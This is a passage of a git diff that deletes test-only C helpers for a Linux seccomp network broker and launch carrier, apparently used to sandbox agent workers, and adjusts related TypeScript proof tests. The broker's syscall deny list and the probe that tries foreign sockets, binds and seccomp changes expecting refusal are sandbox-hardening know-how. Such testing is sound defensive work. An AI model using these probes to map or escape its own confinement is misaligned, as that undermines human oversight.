stdoutResult.failure.error;if(stderrResult.failure)throw stderrResult.failure.error; - // A refused child can exit before its asynchronous fixture cleanup completes. - // Only these three roots were created by this proof, after the child started. - for(const rel of [".brain/odysseus-preparation-private",".git",".brain-index","native-absolute-stage-link","notes/odysseus-link-target.md","notes/chain","notes/odysseus-native-link","-x"])rmSync(join(brain,rel),{recursive:true,force:true}); - writeFileSync(`/proof/preparation-${mode}.stdout`,out);writeFileSync(`/proof/preparation-${mode}.stderr`,err); - const markers={"mid-walk-write":"FIXTURE_MID_WALK_WRITE_REFUSED","nested-observer":"FIXTURE_NESTED_OBSERVERS_PASSED",positive:"FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED","stale-inspection":"FIXTURE_OLD_INSPECTION_RETIRED",foreign:"FIXTURE_PREPARATION_FOREIGN_REFUSED","wrong-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","native-under-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","failed-preparation":"FIXTURE_FAILED_PREPARATION_RETIRED","actual-wrapper":"FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED","copied-wrapper":"FIXTURE_UNOBSERVED_WRAPPER_REFUSED","closed-wrapper":"FIXTURE_CLOSED_WRAPPER_REFUSED","raw-expired":"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER","link-mapped":"FIXTURE_MAPPED_STAGE_LINK_PASSED","link-wrong-destination":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-sibling-prefix":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-changed-overlay":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-external":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-runtime-target":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-chain-escape":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL"} satisfies Record; - const reasons:Partial>={"mid-walk-write":"managed fixture keeper snapshot is unavailable","stale-inspection":"managed fixture inspection changed after planning","wrong-preparer":"metadata-only probe launch chain differs","native-under-preparer":"metadata-only probe launch chain differs","failed-preparation":"metadata-only probe scope expired or source changed","copied-wrapper":"managed fixture keeper snapshot is unavailable","closed-wrapper":"managed fixture manager provenance expired","raw-expired":"managed fixture manager provenance expired","link-wrong-destination":"managed fixture stage link view differs","link-sibling-prefix":"managed fixture stage link view differs","link-changed-overlay":"managed fixture stage link view differs","link-external":"managed fixture stage link view differs","link-runtime-target":"native runtime in stage symlink target","link-chain-escape":"managed fixture stage link view differs"}; - const reason=reasons[mode];expect(code,`REAL_PREPARATION_PROOF ${mode}: ${err}`).toBe(reason?1:0); - expect(out,`REAL_PREPARATION_PROOF_REACHED ${mode}`).toContain(markers[mode]); - if(mode==="positive"||mode==="link-mapped"){const rows=err.split("\n").flatMap(line=>{try{return [JSON.parse(line)];}catch{return [];}});expect(rows.some(row=>row.kind==="native-offline-audit"&&row.nativeLaunched===true&&row.success===true),"PREPARATION_NATIVE_PROOF_HAS_OFFLINE_RECEIPT").toBe(true);} - if(reason){expect(err).toContain('"kind":"native-offline-boundary"');expect(err).toContain('"nativeLaunched":false');expect(err).toContain(reason);} - console.log(JSON.stringify({fixturePreparation:mode,result:"pass"})); - } - if(!process.argv.includes("--preparation-proofs")){ const child = Bun.spawn(["/usr/bin/setpriv", "--reuid=21001", "--regid=21001", "--clear-groups", process.execPath, "--preload", "/repo/scripts/test-network-child-preload.ts", import.meta.filename, "--child"], { env: { PATH: "/usr/local/bin:/usr/bin:/bin", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe" }); @@ -193,6 +163,5 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); writeFileSync("/proof/native-identity-child.stdout", text); writeFileSync("/proof/native-identity-child.stderr", detail); expect(code, detail).toBe(0); expect(text).toContain('"nativeIdentityManager":"pass"'); console.log(text); - } - } finally { await service.close();if(process.argv.includes("--preparation-proofs")){for(const rel of ["notes",".brain","brain.config.ts"])rmSync(join(brain,rel),{recursive:true,force:true});} } + } finally { await service.close(); } } diff --git a/scripts/native-proof/native-connect.c b/scripts/native-proof/native-connect.c deleted file mode 100644 index 9047de844b..0000000000 --- a/scripts/native-proof/native-connect.c +++ /dev/null @@ -1,288 +0,0 @@ -/* Test-only Linux connect broker. No untrusted syscall is continued. */ -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#if defined(__x86_64__) -#define NATIVE_ARCH AUDIT_ARCH_X86_64 -#elif defined(__aarch64__) -#define NATIVE_ARCH AUDIT_ARCH_AARCH64 -#else -#error Unsupported native test architecture -#endif -#define ERRNO_DENY (SECCOMP_RET_ERRNO | EPERM) -#define BLOCK(n) BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,n,0,1), BPF_STMT(BPF_RET|BPF_K,ERRNO_DENY) -#define NOTIFY(n) BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,n,0,1), BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_USER_NOTIF) -static volatile sig_atomic_t child_pid; -static volatile sig_atomic_t probe_active; -static char probe_source[108],probe_directory[108]; -/* RECV can block after a child-exit poll wakeup. Finish the same owned child - from SIGCHLD too, using only async-signal-safe calls; no socket policy changes. */ -static void child_finished(int sig) { - (void)sig;pid_t child=child_pid;int status=0; - if(child<=0||waitpid(child,&status,WNOHANG)!=child)return; - int code=WIFEXITED(status)?WEXITSTATUS(status):128+WTERMSIG(status); - if(probe_active){unlink(probe_source);rmdir(probe_directory);if(code==0){const char passed[]="NATIVE_SOCKET_POLICY_HELD\n";ssize_t written=write(1,passed,sizeof(passed)-1);if(written!=(ssize_t)(sizeof(passed)-1))_exit(125);}} - _exit(code); -} -static void forward(int sig) { if (child_pid > 0) kill(child_pid,sig); } -static int install_policy(void) { - struct sock_filter instructions[] = { - BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,arch)), - BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,NATIVE_ARCH,1,0), - BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_KILL_PROCESS), - BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,nr)), - /* Reject x32 and other alternate syscall-number ABIs. */ - BPF_JUMP(BPF_JMP|BPF_JGE|BPF_K,0x40000000,0,1), - BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_KILL_PROCESS), - BLOCK(SYS_seccomp), BLOCK(SYS_ptrace), BLOCK(SYS_pidfd_getfd), - BLOCK(SYS_process_vm_readv), BLOCK(SYS_process_vm_writev), - BLOCK(SYS_io_uring_setup), BLOCK(SYS_io_uring_register), BLOCK(SYS_io_uring_enter), - BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,SYS_prctl,0,4), - BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,args[0])), - BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,PR_SET_SECCOMP,0,1), - BPF_STMT(BPF_RET|BPF_K,ERRNO_DENY), - BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ALLOW), - NOTIFY(SYS_connect), NOTIFY(SYS_sendmsg), NOTIFY(SYS_sendmmsg), - NOTIFY(SYS_bind), NOTIFY(SYS_listen), NOTIFY(SYS_accept), NOTIFY(SYS_accept4), - /* Connected-stream sendto(NULL) is safe; addressed sends are brokered. */ - BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,SYS_sendto,0,6), - BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,args[4])), - BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,0,0,3), - BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,args[4])+4), - BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,0,0,1), - BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ALLOW), - BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_USER_NOTIF), - BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ALLOW) - }; - struct sock_fprog program={.len=sizeof(instructions)/sizeof(instructions[0]),.filter=instructions}; - if (prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0)) return -1; - return (int)syscall(SYS_seccomp,SECCOMP_SET_MODE_FILTER,SECCOMP_FILTER_FLAG_NEW_LISTENER,&program); -} -static pid_t leader(pid_t tid) { - char path[64],line[256]; snprintf(path,sizeof(path),"/proc/%d/status",tid); - FILE *input=fopen(path,"re"); if(!input) return -1; - int result=-1; while(fgets(line,sizeof(line),input)) if(sscanf(line,"Tgid: %d",&result)==1) break; - fclose(input); return result; -} -static int duplicate(pid_t tid,int fd) { - pid_t pid=leader(tid); if(pid<=0) return -1; - int process=(int)syscall(SYS_pidfd_open,pid,0); if(process<0) return -1; - int copy=(int)syscall(SYS_pidfd_getfd,process,fd,0); close(process); return copy; -} -static int valid(int listener,uint64_t id) { return ioctl(listener,SECCOMP_IOCTL_NOTIF_ID_VALID,&id)==0; } -static uint64_t *cookies; -static size_t cookie_count; -static int socket_cookie(int fd,uint64_t *cookie) { - socklen_t size=sizeof(*cookie); return getsockopt(fd,SOL_SOCKET,SO_COOKIE,cookie,&size); -} -static int retain_cookie(int fd) { - uint64_t cookie=0; if(socket_cookie(fd,&cookie) || cookie_count>=65536) return -1; - uint64_t *next=realloc(cookies,(cookie_count+1)*sizeof(*cookies)); if(!next) return -1; - cookies=next; cookies[cookie_count++]=cookie; return 0; -} -static int approved_cookie(int fd) { - uint64_t cookie=0; if(socket_cookie(fd,&cookie)) return 0; - for(size_t i=0;ipid,&message,request->data.args[1],sizeof(message)) || message.msg_name - || message.msg_namelen || message.msg_control || message.msg_controllen || message.msg_iovlen>1024) return EPERM; - int flags=(int)request->data.args[2]; - if(flags & ~(MSG_DONTWAIT|MSG_NOSIGNAL|MSG_MORE|MSG_EOR)) return EPERM; - struct iovec *vectors=calloc(message.msg_iovlen?message.msg_iovlen:1,sizeof(*vectors)); - if(!vectors) return ENOMEM; - int error=EPERM,fd=-1;size_t copied=0,total=0; - if(message.msg_iovlen && !read_guest(request->pid,vectors,(uintptr_t)message.msg_iov,message.msg_iovlen*sizeof(*vectors))) goto done; - for(size_t i=0;i64*1024*1024-total) goto done; - total+=size; void *source=vectors[i].iov_base; - vectors[i].iov_base=malloc(size?size:1); if(!vectors[i].iov_base) goto done; - copied++; - if(size && !read_guest(request->pid,vectors[i].iov_base,(uintptr_t)source,size)) goto done; - } - fd=duplicate(request->pid,(int)request->data.args[0]); - if(fd<0 || !approved_cookie(fd) || !valid(listener,request->id)) goto done; - message.msg_iov=vectors; message.msg_name=NULL; message.msg_namelen=0; message.msg_control=NULL; message.msg_controllen=0; - ssize_t sent=sendmsg(fd,&message,flags); error=sent<0?errno:0; if(sent>=0)*value=sent; - done: - if(fd>=0)close(fd); - for(size_t i=0;idata.args[2],expected=strlen(allowed); - struct sockaddr_storage storage={0}; - if(lengthsizeof(storage)||!read_guest(request->pid,&storage,request->data.args[1],length))return EPERM; - struct sockaddr_un *address=(struct sockaddr_un *)&storage; - int tcp=storage.ss_family==AF_INET; - const struct sockaddr_in *destination=NULL; - if(tcp){ - const struct sockaddr_in *requested=(const struct sockaddr_in *)&storage; - if(length!=sizeof(*requested))return EPERM; - if(proxy&&requested->sin_addr.s_addr==proxy->sin_addr.s_addr&&requested->sin_port==proxy->sin_port)destination=proxy; - else if(collector&&requested->sin_addr.s_addr==collector->sin_addr.s_addr&&requested->sin_port==collector->sin_port)destination=collector; - if(!destination)return EPERM; - }else{ - if(lengthsizeof(*address))return EPERM; - size_t supplied=length - offsetof(struct sockaddr_un,sun_path),actual=strnlen(address->sun_path,supplied); - if(address->sun_family!=AF_UNIX||actual!=expected||memcmp(address->sun_path,allowed,expected))return EPERM; - } - int socket=duplicate(request->pid,(int)request->data.args[0]); if(socket<0) return EPERM; - int domain=0,type=0; socklen_t size=sizeof(int); - if(getsockopt(socket,SOL_SOCKET,SO_DOMAIN,&domain,&size) || getsockopt(socket,SOL_SOCKET,SO_TYPE,&type,&size) - || domain!=(tcp?AF_INET:AF_UNIX) || type!=SOCK_STREAM || !valid(listener,request->id)) { close(socket); return EPERM; } - /* The broker connects a duplicate of the blocked socket to a pinned inode. - It never continues the caller's syscall or trusts caller memory afterward. */ - struct sockaddr_un target={.sun_family=AF_UNIX}; - snprintf(target.sun_path,sizeof(target.sun_path),"/proc/self/fd/%d",pinned); - int result=tcp?connect(socket,(const struct sockaddr *)destination,sizeof(*destination)):connect(socket,(struct sockaddr *)&target,offsetof(struct sockaddr_un,sun_path)+strlen(target.sun_path)+1); - int error=result==0?0:errno; - if((!error||error==EINPROGRESS) && retain_cookie(socket)) error=ENOMEM; - close(socket); return error; -} -static int run(int pinned,const char *allowed,char **command,int probe,const char *foreign,const struct sockaddr_in *proxy,const struct sockaddr_in *collector) { - int ready[2],ack[2]; if(pipe2(ready,O_CLOEXEC)||pipe2(ack,O_CLOEXEC)) return 125; - /* Native descendants cannot inspect or change their broker through /proc. */ - if(prctl(PR_SET_DUMPABLE,0)) return 125; - pid_t child=fork(); if(child<0) return 125; - if(child==0) { - close(ready[0]); close(ack[1]); - if(prctl(PR_SET_PDEATHSIG,SIGKILL)) _exit(125); - int listener=install_policy(); if(listener<0) _exit(125); - if(prctl(PR_SET_DUMPABLE,1)) _exit(125); - if(write(ready[1],&listener,sizeof(listener))!=sizeof(listener)) _exit(125); - char accepted=0; if(read(ack[0],&accepted,1)!=1 || accepted!=1) _exit(125); - close(listener); close(ready[1]); close(ack[0]); close(pinned); - if(probe) { - struct sockaddr_un target={.sun_family=AF_UNIX}; strcpy(target.sun_path,allowed); - int fd=socket(AF_UNIX,SOCK_STREAM,0); - if(fd<0 || connect(fd,(struct sockaddr *)&target,sizeof(target))) _exit(121); - struct iovec vector={.iov_base="Ithaca",.iov_len=6}; struct msghdr message={.msg_iov=&vector,.msg_iovlen=1}; - if(sendmsg(fd,&message,MSG_NOSIGNAL)!=6) _exit(121); - close(fd); - strcpy(target.sun_path,foreign); fd=socket(AF_UNIX,SOCK_STREAM,0); - if(fd<0 || connect(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(122); - close(fd); - fd=socket(AF_INET,SOCK_STREAM,0); - struct sockaddr_in tcp={.sin_family=AF_INET,.sin_port=htons(9),.sin_addr={.s_addr=htonl(INADDR_LOOPBACK)}}; - if(fd<0 || connect(fd,(struct sockaddr *)&tcp,sizeof(tcp))!=-1 || errno!=EPERM) _exit(123); - close(fd); - fd=socket(AF_UNIX,SOCK_DGRAM,0); - if(fd<0 || bind(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(124); - if(sendto(fd,"Ithaca",6,0,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(124); - close(fd); - if(prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,NULL)!=-1 || errno!=EPERM) _exit(124); - if(syscall(SYS_pidfd_getfd,-1,0,0)!=-1 || errno!=EPERM) _exit(124); - if(syscall(SYS_seccomp,0,0,0)!=-1 || errno!=EPERM) _exit(124); - _exit(0); - } - execvp(command[0],command); _exit(127); - } - child_pid=child; close(ready[1]); close(ack[0]); - int remote=-1,listener=-1; - if(read(ready[0],&remote,sizeof(remote))==sizeof(remote)) listener=duplicate(child,remote); - close(ready[0]); char accepted=listener>=0; ssize_t acknowledged=write(ack[1],&accepted,1); close(ack[1]); - if(acknowledged!=1) { kill(child,SIGKILL); waitpid(child,NULL,0); if(listener>=0) close(listener); return 125; } - if(listener<0) { kill(child,SIGKILL); waitpid(child,NULL,0); return 125; } - signal(SIGTERM,forward); signal(SIGINT,forward); signal(SIGHUP,forward); - struct sigaction completed={.sa_handler=child_finished,.sa_flags=SA_NOCLDSTOP};sigemptyset(&completed.sa_mask);if(sigaction(SIGCHLD,&completed,NULL)){kill(child,SIGKILL);waitpid(child,NULL,0);close(listener);return 125;} - struct seccomp_notif_sizes sizes; - if(syscall(SYS_seccomp,SECCOMP_GET_NOTIF_SIZES,0,&sizes)) { kill(child,SIGKILL); waitpid(child,NULL,0); close(listener); return 125; } - struct seccomp_notif *request=calloc(1,sizes.seccomp_notif); - if(!request) { kill(child,SIGKILL); waitpid(child,NULL,0); close(listener); return 125; } - int status=0; - for(;;) { - if(waitpid(child,&status,WNOHANG)==child) break; - struct pollfd input={.fd=listener,.events=POLLIN}; if(poll(&input,1,100)<=0 || !(input.revents&POLLIN)) continue; - memset(request,0,sizes.seccomp_notif); - if(ioctl(listener,SECCOMP_IOCTL_NOTIF_RECV,request)) { if(errno==EINTR||errno==ENOENT) continue; kill(child,SIGKILL); waitpid(child,&status,0); break; } - int error=EPERM; int64_t value=0; - if(valid(listener,request->id)) { - if(request->data.nr==SYS_connect) error=connect_pinned(listener,request,pinned,allowed,proxy,collector); - else if(request->data.nr==SYS_sendmsg) error=send_connected(listener,request,&value); - } - struct seccomp_notif_resp response={.id=request->id,.error=-error,.val=value,.flags=0}; - /* flags=0: SECCOMP_USER_NOTIF_FLAG_CONTINUE would permit a memory race. */ - (void)ioctl(listener,SECCOMP_IOCTL_NOTIF_SEND,&response); - } - free(cookies);free(request); close(listener); child_pid=0; - return WIFEXITED(status)?WEXITSTATUS(status):128+WTERMSIG(status); -} -int main(int argc,char **argv) { - int probe=argc==3 && !strcmp(argv[1],"--probe"); - const char *head=probe?argv[2]:(argc>2?argv[2]:""); - if(strlen(head)!=40 || strspn(head,"0123456789abcdef")!=40) return 125; - char directory[]="/tmp/odysseus-connect-policy-XXXXXX",source[108],other[108]; - int server=-1; const char *allowed=NULL; int pinned=-1,proxy_pin=-1,proxy_enabled=0,collector_enabled=0,collector_pin=-1,payload=12; - struct sockaddr_in proxy={.sin_family=AF_INET,.sin_addr={.s_addr=htonl(INADDR_LOOPBACK)}}; - struct sockaddr_in collector={.sin_family=AF_INET,.sin_addr={.s_addr=htonl(INADDR_LOOPBACK)}}; - if(probe) { - if(!mkdtemp(directory)) return 125; - snprintf(source,sizeof(source),"%s/relay.sock",directory); snprintf(other,sizeof(other),"%s/foreign.sock",directory); - struct sockaddr_un address={.sun_family=AF_UNIX}; strcpy(address.sun_path,source); - server=socket(AF_UNIX,SOCK_STREAM,0); if(server<0||bind(server,(struct sockaddr *)&address,sizeof(address))||listen(server,16)) return 125; - pinned=open(source,O_PATH|O_CLOEXEC); allowed=source; - strcpy(probe_source,source);strcpy(probe_directory,directory);probe_active=1; - } else { - if(argc<13 || strcmp(argv[1],"--head") || strcmp(argv[3],"--socket") || strcmp(argv[5],"--device") - || strcmp(argv[7],"--inode") || strcmp(argv[9],"--allowed")) return 125; - pinned=open(argv[4],O_PATH|O_CLOEXEC); allowed=argv[10]; struct stat info; - if(pinned<0||fstat(pinned,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[6],NULL,10)||info.st_ino!=strtoull(argv[8],NULL,10)) return 125; - if(!strcmp(argv[11],"--turn-proxy")){ - if(argc<17)return 125; - proxy_pin=open(argv[12],O_PATH|O_CLOEXEC); - if(proxy_pin<0||fstat(proxy_pin,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[13],NULL,10)||info.st_ino!=strtoull(argv[14],NULL,10))return 125; - /* The pinned first-party wrapper sets this before launching the broker. - Copy once; payload environment mutations never alter registration. */ - const char *url=getenv("HTTP_PROXY"),*prefix="http://127.0.0.1:";char *end=NULL; - if(!url||strncmp(url,prefix,strlen(prefix)))return 125; - unsigned long port=strtoul(url+strlen(prefix),&end,10); - if(!port||port>65535||!end||*end)return 125; - proxy.sin_port=htons((uint16_t)port);proxy_enabled=1;payload=16; - }else payload=12; - int at=payload-1; - if(!strcmp(argv[at],"--title-collector")){ - if(argc65535||!end||*end)return 125; - collector_pin=open(argv[at+2],O_PATH|O_CLOEXEC); - if(collector_pin<0||fstat(collector_pin,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[at+3],NULL,10)||info.st_ino!=strtoull(argv[at+4],NULL,10))return 125; - collector.sin_port=htons((uint16_t)port);collector_enabled=1;at+=5; - } - if(strcmp(argv[at],"--"))return 125; - payload=at+1; - } - if(pinned<0 || strlen(allowed)>=108) return 125; - int result=run(pinned,allowed,probe?NULL:argv+payload,probe,other,proxy_enabled?&proxy:NULL,collector_enabled?&collector:NULL); close(pinned);if(proxy_pin>=0)close(proxy_pin);if(collector_pin>=0)close(collector_pin); - if(probe) { close(server); unlink(source); rmdir(directory); if(result==0) puts("NATIVE_SOCKET_POLICY_HELD"); } - return result; -} diff --git a/scripts/native-proof/native-launch-ready.c b/scripts/native-proof/native-launch-ready.c deleted file mode 100644 index ec7c544f83..0000000000 --- a/scripts/native-proof/native-launch-ready.c +++ /dev/null @@ -1,26 +0,0 @@ -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -static int failure(void){fputs("native guard setup did not become ready\n",stderr);return 125;} -int main(int argc,char **argv){ - if(argc==4&&!strcmp(argv[1],"init"))return mkfifo(argv[2],0600)||mkfifo(argv[3],0600)?failure():0; - if(argc==3&&!strcmp(argv[1],"wait")){ - struct pollfd input={.fd=3,.events=POLLIN};char value;char *end=0;long timeout=strtol(argv[2],&end,10); - if(!end||*end||timeout<1||timeout>3600000)return failure(); - int ready;do{ready=poll(&input,1,(int)timeout);}while(ready<0&&errno==EINTR); - return ready>0&&(input.revents&POLLIN)&&read(3,&value,1)==1&&value=='R'?0:failure(); - } - if(argc<6||strcmp(argv[1],"payload")||strcmp(argv[4],"--"))return failure(); - int ready=open(argv[2],O_WRONLY|O_CLOEXEC|O_NOFOLLOW),go=open(argv[3],O_RDONLY|O_CLOEXEC|O_NOFOLLOW); - struct stat r,g;char value; - if(ready<0||go<0||fstat(ready,&r)||fstat(go,&g)||!S_ISFIFO(r.st_mode)||!S_ISFIFO(g.st_mode)||r.st_uid!=geteuid()||g.st_uid!=geteuid()||(r.st_mode&0777)!=0600||(g.st_mode&0777)!=0600||r.st_ino==g.st_ino)return failure(); - if(write(ready,"R",1)!=1)return failure();close(ready); - if(read(go,&value,1)!=1||value!='G')return failure();close(go); - execvp(argv[5],argv+5);return failure(); -} diff --git a/scripts/native-proof/native-runtime-carrier.c b/scripts/native-proof/native-runtime-carrier.c deleted file mode 100644 index 91b6d96078..0000000000 --- a/scripts/native-proof/native-runtime-carrier.c +++ /dev/null @@ -1,50 +0,0 @@ -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -static int refusal(void){fputs("Offline native executable transfer refused\n",stderr);return 125;} -static int address(const char *path,struct sockaddr_un *out){memset(out,0,sizeof(*out));out->sun_family=AF_UNIX;if(strlen(path)>=sizeof(out->sun_path))return -1;strcpy(out->sun_path,path);return 0;} -static int send_pin(int client,int fd){ - char value=fd>=0?'Y':'N';struct iovec data={&value,1};char control[CMSG_SPACE(sizeof(int))];struct msghdr msg={.msg_iov=&data,.msg_iovlen=1}; - if(fd>=0){memset(control,0,sizeof(control));msg.msg_control=control;msg.msg_controllen=sizeof(control);struct cmsghdr *c=CMSG_FIRSTHDR(&msg);c->cmsg_level=SOL_SOCKET;c->cmsg_type=SCM_RIGHTS;c->cmsg_len=CMSG_LEN(sizeof(int));memcpy(CMSG_DATA(c),&fd,sizeof(fd));} - return sendmsg(client,&msg,MSG_NOSIGNAL)==1?0:-1; -} -int main(int argc,char **argv){ - if(argc<3)return refusal();struct sockaddr_un addr;if(address(argv[2],&addr))return refusal(); - if(!strcmp(argv[1],"serve")){ - if(argc!=4||fcntl(3,F_SETFD,FD_CLOEXEC))return refusal();pid_t owner=(pid_t)strtol(argv[3],0,10);if(owner<=1||prctl(PR_SET_PDEATHSIG,SIGKILL)||getppid()!=owner)return refusal(); - int server=socket(AF_UNIX,SOCK_STREAM|SOCK_CLOEXEC,0);if(server<0||bind(server,(struct sockaddr*)&addr,sizeof(addr))||chmod(argv[2],0600)||listen(server,4))return refusal();int used=0; - for(;;){struct pollfd watched[2]={{server,POLLIN,0},{0,POLLIN,0}};if(poll(watched,2,30000)<=0)break;if(watched[1].revents&(POLLHUP|POLLERR))break; - if(watched[1].revents&POLLIN){char quit;if(read(0,&quit,1)<=0)break;return refusal();} - if(!(watched[0].revents&POLLIN))continue;int client=accept4(server,0,0,SOCK_CLOEXEC);if(client<0)return refusal();struct ucred peer;socklen_t size=sizeof(peer); - if(getsockopt(client,SOL_SOCKET,SO_PEERCRED,&peer,&size)||size!=sizeof(peer)){close(client);return refusal();} - printf("%s %d %u %u\n",used?"replay":"request",peer.pid,peer.uid,peer.gid);fflush(stdout); - if(used){send_pin(client,-1);close(client);continue;} - struct pollfd answer={0,POLLIN,0};if(poll(&answer,1,30000)<=0){close(client);break;}char decision[8];if(!fgets(decision,sizeof(decision),stdin)){close(client);break;} - used=1;int granted=!strcmp(decision,"yes\n");int result=send_pin(client,granted?3:-1);close(3);close(client);if(result)return refusal(); - } - close(server);unlink(argv[2]);return 0; - } - if(strcmp(argv[1],"receive")||argc<6||strcmp(argv[4],"--"))return refusal(); - char *end=0;long destination=strtol(argv[3],&end,10);if(!end||*end||destination<3||destination>1024||fcntl((int)destination,F_GETFD)>=0)return refusal(); - int client=-1;for(int attempt=0;attempt<3000;attempt++){client=socket(AF_UNIX,SOCK_STREAM|SOCK_CLOEXEC,0);if(client<0)return refusal();if(!connect(client,(struct sockaddr*)&addr,sizeof(addr)))break;int error=errno;close(client);client=-1;if(error!=ENOENT&&error!=ECONNREFUSED)return refusal();usleep(10000);}if(client<0)return refusal(); - char value=0,control[CMSG_SPACE(sizeof(int))*2];struct iovec data={&value,1};struct msghdr msg={.msg_iov=&data,.msg_iovlen=1,.msg_control=control,.msg_controllen=sizeof(control)}; - struct pollfd ready={client,POLLIN,0};if(poll(&ready,1,30000)<=0){close(client);return refusal();} - ssize_t bytes=recvmsg(client,&msg,MSG_CMSG_CLOEXEC);close(client);if(bytes!=1||value!='Y'||(msg.msg_flags&(MSG_CTRUNC|MSG_TRUNC)))return refusal(); - struct cmsghdr *c=CMSG_FIRSTHDR(&msg);if(!c||CMSG_NXTHDR(&msg,c)||c->cmsg_level!=SOL_SOCKET||c->cmsg_type!=SCM_RIGHTS||c->cmsg_len!=CMSG_LEN(sizeof(int)))return refusal(); - int pin;memcpy(&pin,CMSG_DATA(c),sizeof(pin));struct stat info;if(fstat(pin,&info)||!S_ISREG(info.st_mode)){close(pin);return refusal();} - if(dup3(pin,(int)destination,O_CLOEXEC)<0){close(pin);return refusal();}close(pin); - // The only inheritance window is the fixed namespace/bwrap hand-off. Bwrap - // consumes --ro-bind-data and closes it before any payload can run. - if(fcntl((int)destination,F_SETFD,0))return refusal();execvp(argv[5],argv+5);close((int)destination);return refusal(); -} diff --git a/scripts/native-proof/provider-index.native.ts b/scripts/native-proof/provider-index.native.ts index cd45615359..8bace0fa77 100644 --- a/scripts/native-proof/provider-index.native.ts +++ b/scripts/native-proof/provider-index.native.ts @@ -4,10 +4,10 @@ import { expect } from "bun:test"; import { existsSync, linkSync, mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { Readable } from "node:stream"; -import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; +import type { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { launchAgentWorker, workerCommand } from "../../packages/ui-sdk/src/server/worker-launcher.js"; import { prepareNativeWorkerOutput } from "../../packages/ui-sdk/src/server/worker-native-output.js"; -import { createGovernedTurns } from "../../packages/ui-server/src/brain/governed-turn.js"; +import { createProviderIndexTurns } from "./provider-index-turns.js"; import { createProviderExposures } from "../../packages/ui-server/src/brain/provider-exposure.js"; import { createHostExecution } from "../../packages/ui-server/src/brain/host-execution.js"; import { createUiDb } from "../../packages/ui-server/src/db/client.js"; @@ -21,7 +21,7 @@ const MIB = 1024 ** 2; const document = (title: string, body: string) => `---\ntype: note\ntitle: ${title}\ncreated: 2026-07-12\nupdated: 2026-07-12\n---\n${body}\n`; const text = (stream: Readable) => new Response(Readable.toWeb(stream) as unknown as ReadableStream).text(); -export async function proveNativeProviderIndex(brain: string, manager: ReturnType, socketPath: string): Promise { +export async function proveNativeProviderIndex(brain: string, manager: ReturnType): Promise { expect(process.getuid?.(), "NATIVE_PROVIDER_INDEX_SERVER_UID").toBe(21001); // This case owns these inputs and removes them before the pre-existing // identity/journal and ordinary application phases continue. @@ -47,8 +47,6 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp try { expect(initial.query("SELECT path FROM documents WHERE content LIKE ?").all(`%${sentinel}%`), "NATIVE_REAL_INDEX_POSITIVE_SENTINEL_CONTROL").toEqual([{ path: "me/oath.md" }]); } finally { initial.close(); } - // Each sequential case creates its real transport client. A copied facade - // has no fixture provenance and must never stand in for that client. // The manager's private paths are every worker's masks, as the app applies them (#2911). const privatePaths = (await manager.ready()).privatePaths; for (const profile of ["strict", "governed"] as const) { @@ -58,7 +56,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp const reports: string[] = []; const execution = createHostExecution({ brainPath: brain, dbPath, nativeManager: manager, nativeMaskPaths: privatePaths, profile, requireGate: true }); execution.attach(db); - const turns = createGovernedTurns({ nativeManager: createNativeBrainManagerClient({ socketPath }), brainPath: brain, execution, profile, maskPaths: privatePaths, + const turns = createProviderIndexTurns({ nativeManager: manager, brainPath: brain, execution, profile, maskPaths: privatePaths, index: async () 